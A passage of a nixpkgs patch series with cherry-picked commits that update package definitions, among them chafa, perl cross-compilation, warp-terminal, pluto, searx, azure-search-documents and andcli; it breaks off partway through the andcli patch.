From 6a64688de40dd10364739fe61102acecd272ee0e Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Wed, 21 May 2025 16:39:46 +0800
Subject: [PATCH 2083/4511] chafa: use finalAttrs

(cherry picked from commit 18fc8e208527c68932603744037d50496400578d)
---
 pkgs/by-name/ch/chafa/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ch/chafa/package.nix b/pkgs/by-name/ch/chafa/package.nix
index ccd373d6d867..97e286ff7b84 100644
--- a/pkgs/by-name/ch/chafa/package.nix
+++ b/pkgs/by-name/ch/chafa/package.nix
@@ -18,14 +18,14 @@
   glib,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   version = "1.14.5";
   pname = "chafa";
 
   src = fetchFromGitHub {
     owner = "hpjansson";
     repo = "chafa";
-    rev = version;
+    rev = finalAttrs.version;
     sha256 = "sha256-9RkN0yZnHf5cx6tsp3P6jsi0/xtplWxMm3hYCPjWj0M=";
   };
 
@@ -83,4 +83,4 @@ stdenv.mkDerivation rec {
     ];
     mainProgram = "chafa";
   };
-}
+})

From 90e5e292e22f392b7101c9a06462b6ba7f6d0a9a Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Wed, 21 May 2025 16:43:12 +0800
Subject: [PATCH 2084/4511] chafa: install fish completion

(cherry picked from commit ab937387f1685a16e94f9c7aca31c2c3f599375b)
---
 pkgs/by-name/ch/chafa/package.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ch/chafa/package.nix b/pkgs/by-name/ch/chafa/package.nix
index 97e286ff7b84..3311a8099cee 100644
--- a/pkgs/by-name/ch/chafa/package.nix
+++ b/pkgs/by-name/ch/chafa/package.nix
@@ -69,7 +69,9 @@ stdenv.mkDerivation (finalAttrs: {
   ];
 
   postInstall = ''
-    installShellCompletion --cmd chafa tools/completions/zsh-completion.zsh
+    installShellCompletion --cmd chafa \
+      --fish tools/completions/fish-completion.fish \
+      --zsh tools/completions/zsh-completion.zsh
   '';
 
   meta = {

From ad67325ea7f0f61fc25457969a39dc369eaddb1a Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Wed, 21 May 2025 16:40:06 +0800
Subject: [PATCH 2085/4511] chafa: 1.14.5 -> 1.16.1

(cherry picked from commit 7d75d4d9b43ffc1e1935e3798c48f91897a3f953)
---
 pkgs/by-name/ch/chafa/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ch/chafa/package.nix b/pkgs/by-name/ch/chafa/package.nix
index 3311a8099cee..c6d4522596f4 100644
--- a/pkgs/by-name/ch/chafa/package.nix
+++ b/pkgs/by-name/ch/chafa/package.nix
@@ -19,14 +19,14 @@
 }:
 
 stdenv.mkDerivation (finalAttrs: {
-  version = "1.14.5";
+  version = "1.16.1";
   pname = "chafa";
 
   src = fetchFromGitHub {
     owner = "hpjansson";
     repo = "chafa";
-    rev = finalAttrs.version;
-    sha256 = "sha256-9RkN0yZnHf5cx6tsp3P6jsi0/xtplWxMm3hYCPjWj0M=";
+    tag = finalAttrs.version;
+    hash = "sha256-O57L/VR3M1dTMg+UES6NGh4hU2D7/e9boTMNo6sR/ws=";
   };
 
   outputs = [

From 3824638252414de0aa1d1e4020acbc3cea5fa4c7 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 5 Jul 2025 00:41:52 +0000
Subject: [PATCH 2086/4511] chafa: 1.16.1 -> 1.16.2

(cherry picked from commit e11c73cf933569410f99035ac097449df0055369)
---
 pkgs/by-name/ch/chafa/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ch/chafa/package.nix b/pkgs/by-name/ch/chafa/package.nix
index c6d4522596f4..702a89362d38 100644
--- a/pkgs/by-name/ch/chafa/package.nix
+++ b/pkgs/by-name/ch/chafa/package.nix
@@ -19,14 +19,14 @@
 }:
 
 stdenv.mkDerivation (finalAttrs: {
-  version = "1.16.1";
+  version = "1.16.2";
   pname = "chafa";
 
   src = fetchFromGitHub {
     owner = "hpjansson";
     repo = "chafa";
     tag = finalAttrs.version;
-    hash = "sha256-O57L/VR3M1dTMg+UES6NGh4hU2D7/e9boTMNo6sR/ws=";
+    hash = "sha256-bIFPnbciaog9piqBMSpe9zLwH7irp5CW1WG5frAMqpI=";
   };
 
   outputs = [

From 4c812eddcb969b90ed10627fa49f1baa37c4710a Mon Sep 17 00:00:00 2001
From: Colin <colin@uninsane.org>
Date: Fri, 20 Jun 2025 19:01:33 +0000
Subject: [PATCH 2087/4511] perl540: fix cross compilation

(cherry picked from commit a2e1f82167a613134a7e24d461595f3a8b90d402)
---
 .../interpreters/perl/cross-fdopendir.patch   | 21 +++++++++++++++++++
 .../interpreters/perl/interpreter.nix         |  9 ++++++--
 2 files changed, 28 insertions(+), 2 deletions(-)
 create mode 100644 pkgs/development/interpreters/perl/cross-fdopendir.patch

diff --git a/pkgs/development/interpreters/perl/cross-fdopendir.patch b/pkgs/development/interpreters/perl/cross-fdopendir.patch
new file mode 100644
index 000000000000..f46d23006b4c
--- /dev/null
+++ b/pkgs/development/interpreters/perl/cross-fdopendir.patch
@@ -0,0 +1,21 @@
+From f702c387e6940fab3801d7562a668b974a2b3a8f Mon Sep 17 00:00:00 2001
+From: Audrey Dutcher <audrey@rhelmot.io>
+Date: Fri, 30 May 2025 12:29:54 -0700
+Subject: [PATCH] add d_fdopendir configuration
+
+---
+ cnf/configure_func.sh | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/cnf/configure_func.sh b/cnf/configure_func.sh
+index 4c13e4c..b24fe03 100644
+--- a/cnf/configure_func.sh
++++ b/cnf/configure_func.sh
+@@ -83,6 +83,7 @@ checkfunc d_fchmodat 'fchmodat' "0,NULL,0,0" 'unistd.h sys/stat.h'
+ checkfunc d_fchown 'fchown' "0,0,0" 'unistd.h'
+ checkfunc d_fcntl 'fcntl' "0,0" 'unistd.h fcntl.h'
+ checkfunc d_fdclose 'fdclose' "NULL,NULL" 'stdio.h'
++checkfunc d_fdopendir 'fdopendir' "0" 'dirent.h'
+ checkfunc d_ffs 'ffs' "0" 'strings.h'
+ checkfunc d_ffsl 'ffsl' "0" 'strings.h'
+ checkfunc d_fgetpos 'fgetpos' "NULL, 0" 'stdio.h'
diff --git a/pkgs/development/interpreters/perl/interpreter.nix b/pkgs/development/interpreters/perl/interpreter.nix
index a26f839e2f84..c3f25bd4b712 100644
--- a/pkgs/development/interpreters/perl/interpreter.nix
+++ b/pkgs/development/interpreters/perl/interpreter.nix
@@ -316,15 +316,20 @@ stdenv.mkDerivation (
     };
   }
   // lib.optionalAttrs crossCompiling rec {
-    crossVersion = "1.6";
+    crossVersion = "1.6.2";
 
     perl-cross-src = fetchFromGitHub {
       name = "perl-cross-${crossVersion}";
       owner = "arsv";
       repo = "perl-cross";
       rev = crossVersion;
-      sha256 = "sha256-TVDLxw8ctl64LSfLfB4/WLYlSTO31GssSzmdVfqkBmg=";
+      hash = "sha256-mG9ny+eXGBL4K/rXqEUPSbar+4Mq4IaQrGRFIHIyAAw=";
     };
+    patches = [
+      # fixes build failure due to missing d_fdopendir/HAS_FDOPENDIR configure option
+      # https://github.com/arsv/perl-cross/pull/159
+      ./cross-fdopendir.patch
+    ];
 
     depsBuildBuild = [
       buildPackages.stdenv.cc

From c871a856931227e9f3d3395d768f0d592a49234c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 22 May 2025 09:48:02 +0000
Subject: [PATCH 2088/4511] warp-terminal: 0.2025.05.07.08.12.stable_02 ->
 0.2025.05.14.08.11.stable_03

(cherry picked from commit a37938fc9ec7d573683abbdf1c469e1ad2d8335b)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index 49dfc25da975..ba80b7978426 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-c6+LEdAWgRrm3UrHRK8N0IGuxoxHpz4j5sgCz+eJOco=",
-    "version": "0.2025.05.07.08.12.stable_02"
+    "hash": "sha256-AxPUNdZbvc6T4sFFTkQnOAg26vmzf86oaGbtzapybFc=",
+    "version": "0.2025.05.14.08.11.stable_03"
   },
   "linux_x86_64": {
-    "hash": "sha256-uEaQecj5h6if5Hc7BjuXxxVO+SqOYE/xop08ujQFgGg=",
-    "version": "0.2025.05.07.08.12.stable_02"
+    "hash": "sha256-vdBTwn3ElyOIIyPXNbScvymq6P5d15b41NKAg7QSigk=",
+    "version": "0.2025.05.14.08.11.stable_03"
   },
   "linux_aarch64": {
-    "hash": "sha256-543oTSzBZLxWem3EnpqVyWgQvrbduurEhFEC7XpKHWk=",
-    "version": "0.2025.05.07.08.12.stable_02"
+    "hash": "sha256-jpTVEvZUmLlsiYTJtECT2G899PyFTXZz5qa9+RPWzaI=",
+    "version": "0.2025.05.14.08.11.stable_03"
   }
 }

From 2b271ae5a28829e39b4ebb88f95328e63844792f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 1 Jun 2025 17:36:17 +0000
Subject: [PATCH 2089/4511] warp-terminal: 0.2025.05.14.08.11.stable_03 ->
 0.2025.05.28.08.11.stable_02

(cherry picked from commit f37a529a38c4912db7e6a0abd36a50f87f0487b1)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index ba80b7978426..05b3ef823722 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-AxPUNdZbvc6T4sFFTkQnOAg26vmzf86oaGbtzapybFc=",
-    "version": "0.2025.05.14.08.11.stable_03"
+    "hash": "sha256-II8VDM6qBkep+v017+hhOfx+wfHoMo5lR22IvvXmiy8=",
+    "version": "0.2025.05.28.08.11.stable_02"
   },
   "linux_x86_64": {
-    "hash": "sha256-vdBTwn3ElyOIIyPXNbScvymq6P5d15b41NKAg7QSigk=",
-    "version": "0.2025.05.14.08.11.stable_03"
+    "hash": "sha256-7/U/ZPJLNbBpk0fNAh0OHr68+x5zhYsbJn+vc09/h4w=",
+    "version": "0.2025.05.28.08.11.stable_02"
   },
   "linux_aarch64": {
-    "hash": "sha256-jpTVEvZUmLlsiYTJtECT2G899PyFTXZz5qa9+RPWzaI=",
-    "version": "0.2025.05.14.08.11.stable_03"
+    "hash": "sha256-TX1OYadvUdOp9R3eDdw1ONtN/wn7K8m1IH1IwIdSuJQ=",
+    "version": "0.2025.05.28.08.11.stable_02"
   }
 }

From 0288759b3ae4cb4220e2ff0d99ba3e5abda2f449 Mon Sep 17 00:00:00 2001
From: John Titor <50095635+JohnRTitor@users.noreply.github.com>
Date: Tue, 3 Jun 2025 13:06:34 +0000
Subject: [PATCH 2090/4511] warp-terminal: 0.2025.05.28.08.11.stable_02 ->
 0.2025.05.28.08.11.stable_03

(cherry picked from commit b5cfb30b7027c9c5188f45ebeee035a2596946d7)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index 05b3ef823722..aba3c69d0bcb 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-II8VDM6qBkep+v017+hhOfx+wfHoMo5lR22IvvXmiy8=",
-    "version": "0.2025.05.28.08.11.stable_02"
+    "hash": "sha256-oPBB3tCxLMogV3SEr7QHjFgOw8n7bfuwFSRdgWwSb9Y=",
+    "version": "0.2025.05.28.08.11.stable_03"
   },
   "linux_x86_64": {
-    "hash": "sha256-7/U/ZPJLNbBpk0fNAh0OHr68+x5zhYsbJn+vc09/h4w=",
-    "version": "0.2025.05.28.08.11.stable_02"
+    "hash": "sha256-pVXmosjXXnSyOrLEUzZtLWs1KWkyDRXSjHV6rdvuK6U=",
+    "version": "0.2025.05.28.08.11.stable_03"
   },
   "linux_aarch64": {
-    "hash": "sha256-TX1OYadvUdOp9R3eDdw1ONtN/wn7K8m1IH1IwIdSuJQ=",
-    "version": "0.2025.05.28.08.11.stable_02"
+    "hash": "sha256-LKFkJg5NEgtjvjK1gzo4ZQqQQbxmzRgP+CNznlgUfJo=",
+    "version": "0.2025.05.28.08.11.stable_03"
   }
 }

From 769e256c3c3d879d6659b1fd2b488d5f26982ea2 Mon Sep 17 00:00:00 2001
From: John Titor <50095635+JohnRTitor@users.noreply.github.com>
Date: Wed, 11 Jun 2025 19:09:20 +0000
Subject: [PATCH 2091/4511] warp-terminal: 0.2025.05.28.08.11.stable_03 ->
 0.2025.06.04.08.11.stable_03

(cherry picked from commit 27bc546f10e48ce998db091d71484e995bf75a2c)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index aba3c69d0bcb..242c03f5a5af 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-oPBB3tCxLMogV3SEr7QHjFgOw8n7bfuwFSRdgWwSb9Y=",
-    "version": "0.2025.05.28.08.11.stable_03"
+    "hash": "sha256-xkrJqFLzKKEBPWr49JqpCC70CGEGpwrhb5GLCoGZiWI=",
+    "version": "0.2025.06.04.08.11.stable_03"
   },
   "linux_x86_64": {
-    "hash": "sha256-pVXmosjXXnSyOrLEUzZtLWs1KWkyDRXSjHV6rdvuK6U=",
-    "version": "0.2025.05.28.08.11.stable_03"
+    "hash": "sha256-OVS84RwWqspkE6Wfji/FuoaXvS2ZA2vWkI0kfQrEWSk=",
+    "version": "0.2025.06.04.08.11.stable_03"
   },
   "linux_aarch64": {
-    "hash": "sha256-LKFkJg5NEgtjvjK1gzo4ZQqQQbxmzRgP+CNznlgUfJo=",
-    "version": "0.2025.05.28.08.11.stable_03"
+    "hash": "sha256-K/RC1hYe7G+3symQVR8If/B1/VCACCTcq5JTSKLREIM=",
+    "version": "0.2025.06.04.08.11.stable_03"
   }
 }

From 9cdafa9c261cda61231bb24f3995392b3663e03b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 21 Jun 2025 09:39:29 +0000
Subject: [PATCH 2092/4511] warp-terminal: 0.2025.06.04.08.11.stable_03 ->
 0.2025.06.18.08.11.stable_03

(cherry picked from commit da9d9f91eb3bb1f8363f8609d1f1a456d4faf735)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index 242c03f5a5af..4182beae12c9 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-xkrJqFLzKKEBPWr49JqpCC70CGEGpwrhb5GLCoGZiWI=",
-    "version": "0.2025.06.04.08.11.stable_03"
+    "hash": "sha256-wlFmfHBSwBh9UFq6by52fGYN2EftP793u3L57XSDDKQ=",
+    "version": "0.2025.06.18.08.11.stable_03"
   },
   "linux_x86_64": {
-    "hash": "sha256-OVS84RwWqspkE6Wfji/FuoaXvS2ZA2vWkI0kfQrEWSk=",
-    "version": "0.2025.06.04.08.11.stable_03"
+    "hash": "sha256-7CfqTRUMkqLXmJg7RQK0liVEhucMOgMtsJl4/lrg4XI=",
+    "version": "0.2025.06.18.08.11.stable_03"
   },
   "linux_aarch64": {
-    "hash": "sha256-K/RC1hYe7G+3symQVR8If/B1/VCACCTcq5JTSKLREIM=",
-    "version": "0.2025.06.04.08.11.stable_03"
+    "hash": "sha256-iDXAchU/b2ApDsmV0dnkXI1o0VOaegYWz4DufHtPFJM=",
+    "version": "0.2025.06.18.08.11.stable_03"
   }
 }

From 60849332292b74c4d091cae09b058d74d05c3343 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Tue, 24 Jun 2025 19:25:12 +0300
Subject: [PATCH 2093/4511] warp-terminal: 0.2025.06.18.08.11.stable_03 ->
 0.2025.06.20.22.47.stable_05

Changelog: https://docs.warp.dev/getting-started/changelog#id-2025.06.20-v0.2025.06.20.22.47
(cherry picked from commit b3bcdb74980477c6d18cadd5f576ecd033b907dc)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index 4182beae12c9..f94041720f7c 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-wlFmfHBSwBh9UFq6by52fGYN2EftP793u3L57XSDDKQ=",
-    "version": "0.2025.06.18.08.11.stable_03"
+    "hash": "sha256-UJAirS6JFFLW0OsOYj8RNUfG85dRHnxXasNw2QHX1Xs=",
+    "version": "0.2025.06.20.22.47.stable_05"
   },
   "linux_x86_64": {
-    "hash": "sha256-7CfqTRUMkqLXmJg7RQK0liVEhucMOgMtsJl4/lrg4XI=",
-    "version": "0.2025.06.18.08.11.stable_03"
+    "hash": "sha256-h0ODaO3SJcZAxFRFBYYjWXQYsRAemGizn/YA7AF36pw=",
+    "version": "0.2025.06.20.22.47.stable_05"
   },
   "linux_aarch64": {
-    "hash": "sha256-iDXAchU/b2ApDsmV0dnkXI1o0VOaegYWz4DufHtPFJM=",
-    "version": "0.2025.06.18.08.11.stable_03"
+    "hash": "sha256-H4xldFBMpfu6UFGFA/IkA1zPFqhFN6abhfHTRdYNpGA=",
+    "version": "0.2025.06.20.22.47.stable_05"
   }
 }

From 35be2fa06bff5e7f632cbd6655fca99a42b41e66 Mon Sep 17 00:00:00 2001
From: Victor Duarte <zvictor@users.noreply.github.com>
Date: Sun, 29 Jun 2025 17:57:43 +0200
Subject: [PATCH 2094/4511] warp-terminal: 0.2025.06.20.22.47.stable_05 ->
 0.2025.06.25.08.12.stable_01

(cherry picked from commit 3efba99a6dfed75dbf030b783a9195c0af16dcb4)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index f94041720f7c..b5d77222c423 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-UJAirS6JFFLW0OsOYj8RNUfG85dRHnxXasNw2QHX1Xs=",
-    "version": "0.2025.06.20.22.47.stable_05"
+    "hash": "sha256-7/gSUR9h9PzBrTgxERXNjqzJDtqxebjmD0cF3Vx2ySY=",
+    "version": "0.2025.06.25.08.12.stable_01"
   },
   "linux_x86_64": {
-    "hash": "sha256-h0ODaO3SJcZAxFRFBYYjWXQYsRAemGizn/YA7AF36pw=",
-    "version": "0.2025.06.20.22.47.stable_05"
+    "hash": "sha256-2VQzEBAAu6YasottOTu3YjQvvXR5gT3DAjGhp63wMNo=",
+    "version": "0.2025.06.25.08.12.stable_01"
   },
   "linux_aarch64": {
-    "hash": "sha256-H4xldFBMpfu6UFGFA/IkA1zPFqhFN6abhfHTRdYNpGA=",
-    "version": "0.2025.06.20.22.47.stable_05"
+    "hash": "sha256-5jpW7mUHLshGZUWigAJ8QgmpYnfosJN1JpRLeNvVK3Y=",
+    "version": "0.2025.06.25.08.12.stable_01"
   }
 }

From ee32a29d89453d687b25be03412cde7945506714 Mon Sep 17 00:00:00 2001
From: Ofir <admin@hostme.co.il>
Date: Sat, 5 Jul 2025 14:08:31 +0300
Subject: [PATCH 2095/4511] warp-terminal: 0.2025.06.25.08.12.stable_01 ->
 0.2025.07.02.08.36.stable_02

(cherry picked from commit 9d5a7b5abba591fd8f4bd5d61d1706805cbd34c4)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index b5d77222c423..9d5c6464ea98 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-7/gSUR9h9PzBrTgxERXNjqzJDtqxebjmD0cF3Vx2ySY=",
-    "version": "0.2025.06.25.08.12.stable_01"
+    "hash": "sha256-YXZbYooBqn3jGoWd+pvPs95Oq6V9sjEA2IC7dEsj2hs=",
+    "version": "0.2025.07.02.08.36.stable_02"
   },
   "linux_x86_64": {
-    "hash": "sha256-2VQzEBAAu6YasottOTu3YjQvvXR5gT3DAjGhp63wMNo=",
-    "version": "0.2025.06.25.08.12.stable_01"
+    "hash": "sha256-CXCCJhR6Re423ZxWTheh0qus7sh7EqsSHz2x0Tz0t1E=",
+    "version": "0.2025.07.02.08.36.stable_02"
   },
   "linux_aarch64": {
-    "hash": "sha256-5jpW7mUHLshGZUWigAJ8QgmpYnfosJN1JpRLeNvVK3Y=",
-    "version": "0.2025.06.25.08.12.stable_01"
+    "hash": "sha256-uaOTKWuufzfu9T8DW86Nur9QSRIcnNYCCahCrEEDPpg=",
+    "version": "0.2025.07.02.08.36.stable_02"
   }
 }

From 5b13c70eef59db546b5ead3da08eaa93fbbbec83 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sun, 6 Jul 2025 09:16:32 -0400
Subject: [PATCH 2096/4511] pluto: set __darwinAllowLocalNetworking

Fixes tests with sandboxing on darwin.

(cherry picked from commit c8e8151d176de2b4695fcf7584073572c86b86da)
---
 pkgs/by-name/pl/pluto/package.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/by-name/pl/pluto/package.nix b/pkgs/by-name/pl/pluto/package.nix
index ed155abb7405..7867e3af7a6b 100644
--- a/pkgs/by-name/pl/pluto/package.nix
+++ b/pkgs/by-name/pl/pluto/package.nix
@@ -23,6 +23,8 @@ buildGoModule rec {
     "-X main.version=v${version}"
   ];
 
+  __darwinAllowLocalNetworking = true; # for tests
+
   meta = with lib; {
     homepage = "https://github.com/FairwindsOps/pluto";
     description = "Find deprecated Kubernetes apiVersions";

From 1c875662366f570eceb661f4754d950c0018081b Mon Sep 17 00:00:00 2001
From: provokateurin <kate@provokateurin.de>
Date: Sun, 6 Jul 2025 13:47:59 +0200
Subject: [PATCH 2097/4511] nixos/searx: move network.target from wantedBy to
 after

In https://github.com/NixOS/nixpkgs/commit/623664e84f3d3db8c32d65df4cab1a174edff71e this part was refactored,
however network.target does not make sense in wantedBy and must be part of after.

(cherry picked from commit bcc1b762e925983a707cc3276dd966f88fb02ba7)
---
 nixos/modules/services/networking/searx.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/nixos/modules/services/networking/searx.nix b/nixos/modules/services/networking/searx.nix
index 242280137cd1..c2ca1d28cd54 100644
--- a/nixos/modules/services/networking/searx.nix
+++ b/nixos/modules/services/networking/searx.nix
@@ -252,12 +252,12 @@ in
 
     systemd.services.searx = mkIf (!cfg.runInUwsgi) {
       description = "Searx server, the meta search engine.";
-      wantedBy = [
-        "network.target"
-        "multi-user.target"
-      ];
+      wantedBy = [ "multi-user.target" ];
       requires = [ "searx-init.service" ];
-      after = [ "searx-init.service" ];
+      after = [
+        "searx-init.service"
+        "network.target"
+      ];
       serviceConfig =
         {
           User = "searx";

From c4ad8225f08237afbd2884837b8e2c2fed90feb1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 14 May 2025 07:50:29 +0000
Subject: [PATCH 2098/4511] python3Packages.azure-search-documents: 11.4.0 ->
 14.0.0

(cherry picked from commit 7bb1fff13d447113470b3ff5387b0402939ed467)
---
 .../python-modules/azure-search-documents/default.nix     | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/python-modules/azure-search-documents/default.nix b/pkgs/development/python-modules/azure-search-documents/default.nix
index c35dda53123e..243d8d82ff09 100644
--- a/pkgs/development/python-modules/azure-search-documents/default.nix
+++ b/pkgs/development/python-modules/azure-search-documents/default.nix
@@ -10,14 +10,14 @@
 
 buildPythonPackage rec {
   pname = "azure-search-documents";
-  version = "11.4.0";
+  version = "14.0.0";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "Azure";
     repo = "azure-sdk-for-python";
-    rev = "azure-search-documents_${version}";
-    hash = "sha256-0J9AXDH7TOkcKDwFbICiMatLAwiFq3Jtoji8fJSOg8k=";
+    tag = "azure-mgmt-containerregistry_${version}";
+    hash = "sha256-FRdXdk3+G/xPraB2laTV6Xs/yNY65gebvMCKPOgby1g=";
   };
 
   sourceRoot = "${src.name}/sdk/search/azure-search-documents";
@@ -41,7 +41,7 @@ buildPythonPackage rec {
   meta = {
     description = "Microsoft Azure Cognitive Search Client Library for Python";
     homepage = "https://github.com/Azure/azure-sdk-for-python/tree/main/sdk/search/azure-search-documents";
-    changelog = "https://github.com/Azure/azure-sdk-for-python/blob/${src.rev}/sdk/search/azure-search-documents/CHANGELOG.md";
+    changelog = "https://github.com/Azure/azure-sdk-for-python/blob/${src.tag}/sdk/search/azure-search-documents/CHANGELOG.md";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [ natsukium ];
   };

From 084a3fd7ba21e399c37110f1a5f5dff03bd8f73b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Sun, 25 May 2025 16:02:43 -0700
Subject: [PATCH 2099/4511] python3Packages.azure-search-documents: 14.0.0 ->
 11.5.2

(cherry picked from commit e45d7a752c47bfe31595edf3b01f7789b4607e06)
---
 .../azure-search-documents/default.nix             | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/pkgs/development/python-modules/azure-search-documents/default.nix b/pkgs/development/python-modules/azure-search-documents/default.nix
index 243d8d82ff09..c5a1095287f4 100644
--- a/pkgs/development/python-modules/azure-search-documents/default.nix
+++ b/pkgs/development/python-modules/azure-search-documents/default.nix
@@ -6,18 +6,19 @@
   azure-common,
   azure-core,
   isodate,
+  gitUpdater,
 }:
 
 buildPythonPackage rec {
   pname = "azure-search-documents";
-  version = "14.0.0";
+  version = "11.5.2";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "Azure";
     repo = "azure-sdk-for-python";
-    tag = "azure-mgmt-containerregistry_${version}";
-    hash = "sha256-FRdXdk3+G/xPraB2laTV6Xs/yNY65gebvMCKPOgby1g=";
+    tag = "azure_search_documents_${version}";
+    hash = "sha256-RcVdqI50lsYed9L6Kz7faNLec1Y9zq685SGnwaEw6Qc=";
   };
 
   sourceRoot = "${src.name}/sdk/search/azure-search-documents";
@@ -35,8 +36,11 @@ buildPythonPackage rec {
   # require devtools_testutils which is a internal package for azure-sdk
   doCheck = false;
 
-  # multiple packages in the repo and the updater picks the wrong tag
-  passthru.skipBulkUpdate = true;
+  passthru = {
+    # multiple packages in the repo and the updater picks the wrong tag
+    skipBulkUpdate = true;
+    updateScript = gitUpdater { rev-prefix = "azure.search.documents_"; };
+  };
 
   meta = {
     description = "Microsoft Azure Cognitive Search Client Library for Python";

From 7e4093386cb0a57875635cd0245d0aed72cbf69c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 6 Jul 2025 15:38:30 +0000
Subject: [PATCH 2100/4511] andcli: 2.1.3 -> 2.2.0

(cherry picked from commit d2d453ab8dbf1ea4d1767f73f02b7e1b55fff416)
---
 pkgs/by-name/an/andcli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/an/andcli/package.nix b/pkgs/by-name/an/andcli/package.nix
index eef0b52280f0..f283d48c4d46 100644
--- a/pkgs/by-name/an/andcli/package.nix
+++ b/pkgs/by-name/an/andcli/package.nix
@@ -6,7 +6,7 @@
 
 buildGoModule (finalAttrs: {
   pname = "andcli";
-  version = "2.1.3";
+  version = "2.2.0";
 
   subPackages = [ "cmd/andcli" ];
 
@@ -14,10 +14,10 @@ buildGoModule (finalAttrs: {
     owner = "tjblackheart";
     repo = "andcli";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-MfhChaowSkCggeyubYdlcmU3+dd+yXlVrgdr85xjlI8=";
